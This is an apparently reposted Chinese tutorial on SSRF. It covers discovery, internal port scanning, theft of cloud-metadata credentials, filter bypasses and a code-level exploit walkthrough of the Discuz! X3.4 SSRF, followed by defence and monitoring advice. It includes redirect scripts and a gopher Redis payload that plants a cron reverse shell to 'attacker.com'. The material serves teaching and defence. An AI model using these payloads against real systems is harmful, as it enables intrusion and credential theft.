当前位置: 首页 > news >正文

web渗透-SSRF漏洞深度解析与Discuz!论坛实战攻防

第1章. SSRF漏洞基础理论

1.1 什么是SSRF?

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。通常情况下,SSRF攻击的目标是从外网无法访问的内部系统[cit 。

核心概念解析:

  • 攻击者:无法直接访问内网资源。

  • 服务器(目标):能够访问内网,且存在SSRF漏洞。

  • 漏洞利用:攻击者将服务器的资源(权限、网络位置)作为“跳板”,向内网或其他受限资源发起请求。

1.2 漏洞产生的根本原因

SSRF漏洞的根本原因在于服务器提供了从外部获取远程资源的功能,但未对用户提供的URL进行严格的验证和过滤

常见的易出现SSRF的业务场景:

  1. 图片加载与下载:用户提交一个图片URL,服务器下载该图片(如头像上传、社交分享链接预览)。

  2. Webhook功能:用户填写一个回调URL,服务器向该URL发送通知。

  3. 文件处理:通过URL处理文件,如导入XML(可能包含外部实体)。

  4. 数据库内置功能:如PostgreSQL、MongoDB等提供的数据库外部数据连接功能。

  5. 在线翻译/地图:翻译网页内容或加载第三方地图资源。

1.3 SSRF攻击的危害

SSRF的危害程度取决于后端服务器的网络隔离强度以及漏洞本身的可控性:

  1. 内网资产探测与端口扫描:攻击者可以利用漏洞对内部网络的IP和端口进行存活探测,判断内网拓扑结构和服务开放情况。

  2. 敏感信息泄露

    • 云主机元数据:在AWS、阿里云等云环境中,通过请求http://169.254.169.254/latest/meta-data/获取主机IAM临时凭证、密钥对等敏感信息,这是SSRF攻击中最致命的一种场景。

    • 本地文件读取:如果支持file://协议,可直接读取服务器本地文件(如/etc/passwd、Web源码)。

  3. 内网应用攻击:利用SSRF作为跳板,攻击内网中的Redis、MySQL、Elasticsearch、Hadoop等脆弱应用,甚至实现远程代码执行(RCE)。

  4. 绕过访问控制:绕过IP白名单限制,访问本应禁止的外部资源或管理后台。


第2章. SSRF攻击技术实战指南

本章将从实战角度出发,详细介绍SSRF的发现、利用及绕过技术。

2.1 SSRF漏洞的发现与确认

2.1.1 寻找攻击面
在渗透测试中,需要重点关注Web应用中存在请求远程资源的参数,常见参数名有:
?url=,?path=,?dest=,?out=,?view=,?dir=,?show=,?file=,?load=,?uri=,?data=

2.1.2 基础验证方法
最简单的验证方法是使用Burp Suite拦截请求,修改URL参数指向自己控制的服务器(如VPS)。

攻击者服务器监听:

bash

nc -lvnp 8000

构造恶意请求:

http

POST /check_availability HTTP/1.1 Host: target.com ... dateserver=http://[攻击者IP]:8000

如果在监听端接收到了来自目标服务器的请求,则证明存在SSRF漏洞。

2.2 内网资产探测与端口扫描

在确认漏洞存在后,攻击者通常首先对内网进行探测。

2.2.1 探测存活主机
将请求地址指向内网IP段,如http://192.168.1.1。根据响应时间、错误信息或响应内容判断该IP是否存活。

2.2.2 端口扫描
通过尝试连接内网主机的不同端口,根据返回的响应特征判断端口开放情况。

端口状态判断方法:

  • 端口开放:返回200 OK,或包含特定服务的Banner信息。

  • 端口关闭:返回超时、Connection Refused错误,或500 Internal Server Error

自动化扫描(使用ffuf):

bash

seq 1 10000 > ports.txt ffuf -w ./ports.txt -u http://target.com/ssrf -X POST -d "url=http://127.0.0.1:FUZZ/" -fr "Failed to connect"

2.3 云环境元数据信息窃取

这是SSRF最严重危害之一。攻击者利用SSRF请求云服务商提供的特殊元数据地址。

  • AWShttp://169.254.169.254/latest/meta-data/-> 进一步访问/iam/security-credentials/<rolename>/获取临时凭证。

  • Google Cloudhttp://metadata.google.internal/computeMetadata/v1/

  • 阿里云http://100.100.100.200/latest/meta-data/

  • Azurehttp://169.254.169.254/metadata/instance?api-version=2017-08-29

2.4 利用Gopher协议扩展攻击面

当SSRF支持gopher://协议时,其攻击力将成倍提升。gopher协议是一种信息查找系统,它可以向指定IP和端口的TCP服务发送任意格式的数据流,这使得攻击者可以像与服务交互一样发送恶意Payload。

2.4.1 攻击Redis(未授权访问)
Redis通常运行在内网,且很多配置为无密码。利用Gopher可以向Redis发送命令写入Crontab反弹Shell或写入SSH公钥。

2.4.2 攻击MySQL
向MySQL的3306端口发送构造的认证和查询数据包。

2.4.3 攻击FastCGI
如果内网有PHP-FPM服务,可以通过构造FastCGI协议数据包实现任意代码执行。

2.5 绕过SSRF防御措施的艺术

许多应用会采取一定的防护措施,但往往可以被绕过。

2.5.1 基于IP限制的绕过
如果后端禁止了127.0.0.1192.168.x.x,可以使用以下技巧:

  1. 域名解析:将域名指向内网IP(localtest.me解析为127.0.0.1)。

  2. URL格式变形

    • 十进制IP:2130706433代表127.0.0.1

    • 八进制IP:0177.0.0.01

    • 十六进制IP:0x7f.0x0.0x0.0x1

    • 省略写法:127.0.1等同于127.0.0.1

  3. 使用Enclosed alphanumericsⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ

2.5.2 基于域名白名单的绕过
如果后端只允许白名单域名(如images.example.com),可尝试:

  1. 利用子域名images.example.com.attack.com

  2. 利用URL解析差异http://expected.com@evil.com(使用@符号)。

  3. 利用协议混淆http://evil.com#expected.com

2.5.3 利用302跳转
这是最经典的绕过方式之一。如果后端只校验了第一次请求的URL是合法的(如图片域名),攻击者可以在自己的服务器上搭建一个返回302跳转的页面,跳转目标指向内网IP。

  • 攻击者服务器index.php内容

    php

    <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
  • SSRF请求http://attacker.com/index.php


第3章. 经典案例实战:Discuz! X3.4 前台SSRF漏洞深度剖析

理论结合实践,我们通过分析2018年披露的经典Discuz! X3.4前台SSRF漏洞(CVE-2018-19461),来深入理解漏洞从产生到利用的完整链条。

3.1 漏洞概述

  • 漏洞名称:Discuz! X3.4 前台SSRF漏洞

  • 影响范围:Git版本小于41eb5bb0a3a7且PHP版本>5.3且php-curl版本<=7.54且运行在80端口的Discuz。

  • 漏洞文件/source/module/misc/misc_imgcropper.php

  • 漏洞特点:未授权、前台触发。

3.2 环境搭建与漏洞复现

3.2.1 环境准备

  • 靶机:Windows/Linux, Apache, PHP 7.0+, Discuz X3.4 (存在漏洞的commit:a5c1b95dc4464ee3da0ebd4655d30867f85d6ae9)。

  • 攻击机:Kali Linux (IP: 172.16.4.128),用于搭建跳转服务器。

  • 内网目标:假设存在内网Redis服务器(172.16.4.159:6379)。

3.2.2 复现步骤

Step 1:获取必要的Token
访问论坛首页,进入个人中心或随便访问一个需要交互的页面(如home.php?mod=spacecp&ac=pm),获取formhash值。这是Discuz防止CSRF的令牌,很多表单提交都需要它。

Step 2:构造攻击URL
我们需要访问裁切图片的接口。关键参数是cutimgpicflag

  • picflag=2:告诉程序,图片位于远程FTP服务器。

  • cutimg:本来应该是FTP上的图片路径,但这里被我们控制。

Step 3:发起首次请求
访问构造好的URL(需包含formhash):

text

http://172.16.4.159/upload/misc.php?mod=imgcropper&picflag=2&imgcroppersubmit=1&cutimg=//攻击者IP:80/..//upload/member.php%3fmod%3dlogging%26action%3dlogout%26referer%3d//c%2523%2540内网目标IP%26quickforward%3d1&formhash=[formhash]

此处的cutimg内容看起来复杂,其核心是希望服务器最终请求到攻击者IP,并且携带一个精心构造的referer参数。

3.3 代码审计——漏洞成因分析

接下来我们从源代码层面解析为什么这个请求能奏效。

3.3.1 漏洞起点:misc_imgcropper.php
漏洞位于source/module/misc/misc_imgcropper.php的第50行左右。

php

// 截取关键代码 if($_GET['picflag'] == '2') { $prefix = $_G['setting']['ftp']['attachurl']; // 这里获取FTP附件URL前缀 } else { $prefix = $_G['setting']['attachurl']; } // 直接将用户输入的cutimg拼接在prefix后面,没有任何过滤! $imgurl = $prefix.$_GET['cutimg'];

picflag=2时,$prefix通常是根目录/。此时$imgurl就变成了//攻击者IP/...的格式。

3.3.2 核心函数:dfsockopen
ImageCropper类在处理图片时,会调用dfsockopen函数来获取远程图片内容。

php

// 进入Thumb方法,最终调用到 dfsockopen function dfsockopen($url, ...) { // ... 省略 $parse = parse_url($url); // 尝试解析URL if(!$parse) { // 如果parse失败,尝试补全协议 $url = 'http://' . $url; $parse = parse_url($url); } // ... 后续使用curl或fsockopen发起请求 }

对于//攻击者IP/...这样的URL,parse_url能够成功解析出host攻击者IP,因此程序会认为这是一个合法的远程URL,并对其发起请求。

3.3.3 漏洞链的关键跳转
现在,服务器向攻击者IP发起了请求,但请求的是/..//upload/member.php?...。攻击者需要在自己的服务器上配置好路由,让这个请求能够被正确处理。

攻击者服务器的upload/member.php内容:

php

<?php // 这个文件的作用就是:获取请求中的referer参数,并进行302跳转 $referer = $_GET['referer']; // 这里获取到的是 //c%23%40内网目标IP header("Location: " . $referer); // 直接跳转

服务器收到了请求,发现member.php?mod=logging&action=logout&referer=//c%23%40172.16.4.159,它会执行dreferer函数进行跳转。

3.3.4 解析差异导致的绕过
关键点来了:Discuz的dreferer函数会对跳转的URL进行安全检查,防止任意URL跳转漏洞。

简化的安全逻辑:

  1. 获取referer参数值://c#@172.16.4.159

  2. 使用parse_url解析该URL。

  3. 检查解析出的host(域名)是否合法(是否属于本站域名白名单)。

parse_url解析结果:

  • scheme: null (因为没有协议头)

  • host:c

parse_url认为这个地址的host是c,因为#是锚点,@是用户信息分隔符,但在没有协议的情况下,parse_url的处理会混乱,最终认定host是c

curl请求时的解析:
curl真的去请求//c#@172.16.4.159这个地址时,它的解析规则与parse_url不同。它会认为这是在请求主机172.16.4.159,路径是/,用户名是c,密码是空。
由于parse_url解析出的host是cc显然不在站点的域名白名单中,但它也没有点(.)

php

$domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1); // host是'c',没有'.',strpos返回false,substr返回空字符串

结果$domainroot是空字符串。后续的检查发现$domainroot不在域名根白名单中时,空字符串的检查结果为false,导致最终没有覆盖$_G['referer']。因此,dreferer函数返回了未经修改的恶意URL//c#@172.16.4.159

3.4 深度利用:从SSRF到内网Redis入侵

现在,Discuz服务器被302跳转引导去请求//c#@172.16.4.159(实际目标为172.16.4.159:80)。但这仅仅是到达了内网主机的80端口。如果目标内网主机172.16.4.159开放的是Redis服务(6379),我们该怎么办?

3.4.1 二次跳转——协议转换
这里就需要第一次提到的攻击者服务器进行二次跳转

攻击流程改造:

  1. SSRF入口请求:指向攻击者服务器member.php,但referer参数指向攻击者的另一个跳转脚本(例如ssrf.php)。

    text

    cutimg=//attacker.com/member.php?referer=http://attacker.com/ssrf.php%3ftarget=172.16.4.159
  2. 第一跳(member.php):302跳转到http://attacker.com/ssrf.php?target=172.16.4.159

  3. 第二跳(ssrf.php)——关键跳板

    php

    <?php // ssrf.php 内容 $target = $_GET['target']; // 172.16.4.159 // 构造Gopher协议Payload,目的是向Redis写Cron任务 $gopher_payload = urlencode("*3\r\n$3\r\nset\r\n$4\r\nkey1\r\n$64\r\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n\n\r\n*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$16\r\n/var/spool/cron/\r\n*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\n*3\r\n$5\r\nsave\r\n"); $full_url = "gopher://" . $target . ":6379/_" . $gopher_payload; header("Location: " . $full_url); ?>
  4. 最终攻击:Discuz服务器跟随第二次302跳转,向172.16.4.159的6379端口发送了Gopher协议数据包。该数据包被Redis解析执行,向Crontab中写入了一条反弹Shell的任务。

通过这种层层递进的跳转方式,攻击者将一个HTTP协议的SSRF漏洞,成功转化为针对内网非HTTP服务(Redis)的攻击,最终实现了远程代码执行。


第4章. 企业级SSRF漏洞防御体系构建

了解攻击是为了更好地防御。企业应从代码、网络、云环境等多个层面构建纵深防御体系。

4.1 代码层防御

4.1.1 严格输入校验——白名单为王
不要试图通过黑名单(禁止127.0.0.1等)来防御,因为总有绕过方法。应使用白名单机制

  • 协议白名单:如果业务只需要HTTP,则只允许http://https://。坚决禁止file://,gopher://,dict://等危险协议。

  • 域名/IP白名单:如果业务只需要访问特定域名(如images.cdn.com),则直接解析出域名并校验其是否在允许的列表中。

4.1.2 URL解析规范化
由于URL解析库之间的差异是绕过的主要手段,应在代码中对用户输入的URL进行多重解析和校验。

  • 先使用parse_url(PHP)等函数解析。

  • 对URL进行标准化,防止利用..//绕过。

  • 对最终要发起请求的IP进行校验,确保不是内网IP(RFC 1918)、回环地址(127.0.0.0/8)、链路本地地址(169.254.0.0/16)等。

4.1.3 禁用不必要的Follow跳转
如果业务不需要跟随跳转获取最终资源,应在发起请求的库中禁用follow_location。这能有效阻断通过302跳转进行的协议转换和IP绕过。

4.2 网络层防御

4.2.1 网络隔离
在架构上,Web应用所在的网络区域(DMZ区)应严格与核心内网区隔离。Web服务器不应具备直接访问内网管理后台、数据库服务器(除非业务必须)、缓存服务器(如Redis)的权限。

4.2.2 出站流量控制
在防火墙上或主机层面的安全组上配置严格的出站规则。

  • 默认拒绝:配置防火墙策略,默认为“出站拒绝”。

  • 白名单放行:只允许Web服务器访问特定的外网IP/域名(如业务需要调用的API)。禁止其访问所有内网IP段。

  • 云上安全组:在云环境中,为Web服务器所在的安全组添加一条出站规则,禁止访问169.254.169.254(元数据服务器IP)。

4.3 云环境特定防护

4.3.1 启用IMDSv2
在AWS中,默认的元数据服务是IMDSv1,直接通过HTTP GET请求即可获取。IMDSv2 引入了会话控制,要求先通过PUT请求获取Token,再携带Token进行GET请求,这能有效防御简单的SSRF攻击。

4.3.2 使用元数据访问限制工具
一些云服务商提供了额外的安全工具来限制对元数据服务的访问,例如AWS的Metadata Access限制。

4.4 应用安全与运维管理

4.4.1 使用专业的Web应用防火墙(WAF)
WAF能够检测并拦截常见的SSRF攻击Payload。例如,Hostease提供的WAF方案可以识别出请求中的内网IP、元数据IP以及Gopher等危险协议,并进行拦截。

4.4.2 漏洞扫描与组件更新
定期对应用进行安全扫描,特别是针对使用的开源框架和CMS(如Discuz!、XXL-JOB等)。对于XXL-JOB这类存在历史SSRF漏洞的组件,应及时升级到修复后的版本。Discuz!官方早已在Git中修复了该SSRF漏洞,管理员应及时git pull更新代码。

4.4.3 最小权限原则
运行Web服务的用户应使用低权限用户(如www-data),不要使用root权限运行。即使SSRF漏洞配合其他漏洞实现了RCE,低权限也能极大地限制攻击者的破坏范围。


第5章. SSRF漏洞的自动化检测与监控

5.1 基于ASPM的漏洞管理

ASPM(应用安全性能管理)工具可以在运行时动态监测应用行为。例如听云ASPM,当应用因SSRF漏洞发起恶意请求时,ASPM可以记录完整的调用链和堆栈信息,帮助开发人员快速定位漏洞代码位置,并提供修复建议。

5.2 日志监控与告警

在运维侧,应重点关注服务器的access.logerror.log。如果发现大量向169.254.169.254或内网IP段发起的请求,应立即告警并排查。

bash

# 简单的日志排查命令 grep "169\.254\.169\.254" /var/log/nginx/access.log

总结

SSRF漏洞是OWASP Top 10中的常客,其危害性随着企业上云而愈发严重。本文从SSRF的基础原理出发,深入探讨了探测、利用、绕过等实战技术,并以Discuz! X3.4前台SSRF漏洞为案例,通过代码审计的方式剖析了漏洞成因及利用链的构造过程。

通过这个案例可以看出,一个看似不起眼的“获取远程图片”功能,结合URL解析差异、302跳转、Gopher协议,足以撬动整个内网的安全防线。

对于防御者而言,单一的安全措施往往难以奏效,必须构建“代码+网络+运行时”的纵深防御体系。在代码层面实施严格的白名单校验,在网络层面进行精细化的出站控制,在云环境层面强化元数据服务防护,并辅以专业的WAF和ASPM工具,才能最大程度地降低SSRF漏洞带来的安全风险。

http://www.jsqmd.com/news/488946/

相关文章:

  • jetson orin nano 手把手刷机指南:NVME
  • 零成本搭建家庭Linux服务器:樱花frp+SSH避坑指南(含端口冲突解决)
  • 可视化微调神器Llama Factory:10分钟让大模型听懂你的话
  • 激光除锈机厂家推荐:嘉乐激光-2026专业激光洗模机源头厂家,工业清洗优选品牌 - 栗子测评
  • 大模型工具使用能力评测新标杆:T-Eval基准全面解析(附实战案例)
  • yt-dlp进阶指南:从基础配置到高效下载
  • Comake D1 开发板 YOLOv8-pose 模型部署全流程解析
  • 代理服务器连接失败的常见原因及快速修复指南
  • 2026焊缝激光清洗机哪家好?嘉乐激光-脉冲激光清洗机厂家,焊缝激光清洗机专业之选 - 栗子测评
  • Cosmos-Reason1-7B开源镜像:支持Kubernetes集群部署的物理AI服务
  • LingBot-Depth在SpringBoot微服务中的集成实践
  • Docker 27安全沙箱增强深度解析(企业级容器Runtime防护体系首次公开)
  • 2026年口碑好的仿貂绒厂家推荐:小雪貂绒/印花貂绒/阳离子貂绒源头厂家推荐 - 品牌宣传支持者
  • Kali Linux渗透实战:Metasploit框架(MSF)核心模块与永恒之蓝漏洞利用详解
  • 智能客服API接口流程图:从架构设计到性能优化实战
  • ChatGPT下载与API接入实战指南:从注册到集成开发
  • 2026年口碑好的仿貂绒工厂推荐:高低貂绒/银兰貂绒/印花貂绒源头厂家推荐 - 品牌宣传支持者
  • MiniCPM-o-4.5-nvidia-FlagOS在互联网内容安全中的应用:智能审核与风险识别
  • SQL中的地理距离计算:Oracle和MySQL双平台实战指南
  • 2026年靠谱的304不锈钢烟筒公司推荐:厨房不锈钢烟筒品牌厂家推荐 - 品牌宣传支持者
  • AudioSeal Pixel Studio效果展示:实时流式音频(WebRTC)水印嵌入可行性验证
  • 开源双足机器人ottoRobot:云边协同的轻量级伺服控制平台
  • DL00618 - 基于YOLOv5的钢材表面缺陷检测含数据集处理
  • Wan2.2-T2V-A5B对比体验:轻量级模型在速度与效果上的平衡
  • Dify+农业知识图谱落地全链路:从零搭建高可用知识库的7个关键技术决策点
  • OV-Card:基于STM32与RC522的UID卡模拟硬件终端
  • FireRed-OCR Studio保姆级教程:审计日志记录与GDPR文档处理合规配置
  • 从零到发布:用Filament+Shield三天搞定电商后台权限系统(含中文避坑指南)
  • 探索大厂吸尘器背后的技术奥秘
  • 【手把手教学】利用 ngrok 搭建内网穿透,轻松获取临时公网链接